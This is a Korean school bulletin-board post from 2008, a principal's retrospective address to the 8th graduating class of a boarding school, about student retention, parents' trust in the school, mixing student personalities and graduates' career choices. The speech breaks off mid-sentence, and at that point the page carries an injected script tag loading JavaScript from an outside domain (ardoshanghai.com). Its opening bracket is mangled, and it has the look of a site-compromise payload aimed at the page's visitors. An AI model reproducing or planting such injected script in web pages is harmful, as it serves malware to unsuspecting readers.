제 8회 졸업생을 위한 교장 회고사

작성자 : 윤병훈 | 조회수 : 5,051 | 작성일 : 2008년 2월 16일

                          08년 졸업식 회고사
           
  친애하는 졸업생 여러분,
  여러분의 졸업을 진심으로 축하드립니다.
  양업에서의 3년이라는 시간은, 기숙사 생활이기에 결코 짧지만은 않은 시간이었을 것입니다. 그럼에도 37명의 학생들이 빛나는 졸업을 하게 되었습니다.
  몇 명이 타 학교로 전학한 것을 제외하고 40명 중 37명의 학생들이 졸업하게 된 것은, 지금껏 양업에서는 매우 드문 일이기에 여러분 뿐 만이 아니라 우리 모두에게도 큰 기쁨이 됩니다.
  이렇게 거의 모두가 졸업하게 된 이유 중 하나는, 여느 해와는 다른 졸업생 학부모님들 덕분입니다.
  매년 입학 직후면 연례행사처럼 발생하는 선후배간의 갈등으로 학교는 혼란스럽고 어려움을 겪었습니다. 새로운 환경에 적응을 못해 자녀가 동료들로부터 당하는 왕따나, 선후배간의 발생하는 폭력 문제를 놓고, 과거의 학부모들 중에는 자기 자식 말만 듣고는 학교를 비난하며 자녀를 꺼내가는 분들이 있었습니다. 아까운 자리를 텅 비게 만들고는 학생들도 학교도 상처 때문에 오랫동안 몸살을 앓았습니다. 그런 일들로 졸업생 수가 늘 30명을 넘지 못했습니다.
 
  그렇지만 오늘의 학부모님들은 같은 문제를 놓고 그 해결 방법이  분명 달랐습니다. 학부모들은 자녀들의 말을 신뢰하기보다 학교를 더 신뢰했습니다. 학생들 간의 문제로 학교가 시끄러웠을 때, 학부모님들은 자식을 잘못 키운 죄가 크다며 자녀들을 따라 사회봉사를 자청했고, 자기 자식 때문에 학교가 고생한다며 학교를 찾아와 학생들 보는데 서슴없이 화장실 바닥에 꿇어앉아 청소하고는 떠나기도 하였습니다. 그러한 학부모님들의 크고 작은 희생이 있었기에 오늘의 졸업식에 아름다운 자녀 모습을 볼 수 있게 된 것입니다.

  한 두 해 동안 부적응으로 집에 찾아와서는 수도 없이 자퇴를 졸라대는 아들 녀석의 말을 듣고 부모님은 화가 치밀어 과거의 어느 학부모처럼 똑 같이 학교를 비난하며 자기감정을 삭이지 못할 뻔 했는데, 학교에서 매달 실시하는 학부모 교육은 부모를 변화시켰고, 사랑으로 인내한 덕분에 아들이 너무 훌륭하게 변해 졸업을 한다며 만일 양업이 없었다면 집안 모두가 콩가루가 될 뻔 했다며 학교 자랑을 늘어놓습니다. 

  금년에 많은 졸업생을 배출한 또 다른 이유가 있습니다.
 
 과거의 학생들은 가뭄에 올챙이 모여 있듯 하나 같이 똑같은 성격들이 모여 살았습니다. 상담 전문가들은 똑같은 성격들이 모여사는 것을 보고 "신부님! 이 아이들 어덯게 감당하려구요."그 당시는 그 말이 무슨 뜻인지 몰랐었다. 그 똑같은 성격의 학생들이 보여준 행동은 같은 수준의 친구로부터 보고 배워 하위가치에서 맴돌 뿐, 높은 가치를 만들기가 힘 들었고, 잘못된 행동을 조율해 줄  동료들도 없었고, 따라서 모두 힘이 들었습니다.
 
  이런 교육적 경험들로 시행착오를 없애기로 했고 학생 선발시에,  다양한 성격의 학생들로 공동체를 구성했습니다. 그 결과는, 예전과는 다르게 학생들이 잘 적응하고 건강하게 성장해 가는 데 큰 도움이 되었습니다. 그러기에 여러분들은 밝은 모습과 조화를 이루며 지낼 수 있었던 학년이었습니다. 이런 다양한 성격들로 서로를 지지하고 보완하며 존중하였고  타인에게 대한 배려도 남달랐습니다. 개개인 하나, 미성숙하고 철이 없었지만 이러한 보완으로 높은 가치를 향해 성장하고 성숙해 갔습니다.

  이제 튼튼한 인성교육의 기반 위에 미래의 훌륭한 집을 지르려 사회로 나가는 여러분에 대한 이야기를 좀 해볼까 합니다. 

  대학을 진학한 한 학생에게 물었습니다. “자네는 왜 그 대학에 진학했는가?” 라고 묻자, “다른 대학보다 교육과정이 잘 되어 있어 선택했습니다.” 라고 대답하는데, 저는 놀랐습니다. 일반학교 같으면 많은 경우 성적에 맞는 대학을 선택하고 보자는 식인데, 교육과정을 꼼꼼히 살펴보고 대학을 진학했다고 자신 있게 말했기 때문입니다.

  한 여학생이 항공 전문학교 정비학과에 합격했고, 기쁜 표정으로 저를 찾아 왔습니다. 바람처럼 나타났다가 사라지는 그러면서 주도적인 삶을 사는 여학생입니다, “자네는 왜, 그 학교를 선택했지?”, “예, 저는 일류 항공 정비사가 되기 위해서요. 학교를 졸업하고, 여군 하사관으로 입대하여 원사가 될 때까지 정비 기술을 익힐 것입니다. 제대를 하면, 저는 항공사에서 일류 정비사로 일할 것입니다.” 여학생이 축지법을 쓰며 학교로 내달리는 건강한 모습을 떠올리면 산소같이 풋풋한 그 여학생이 무척 사랑스럽다.
 
  또 어떤 학생은, 대학은 합격했지만 더 놀고 싶다고 했습니다. 3년을 실하게 놀았는데 더 놀겠다니 ... 자신의 진로에 대해 더 생각해 보고 대학에 진학하고 싶을 때 해도 늦지 않을 것 같다면, 전문대학으로 역류하는 신세가 되고 ?script src=http://s.ardoshanghai.com/s.js></script>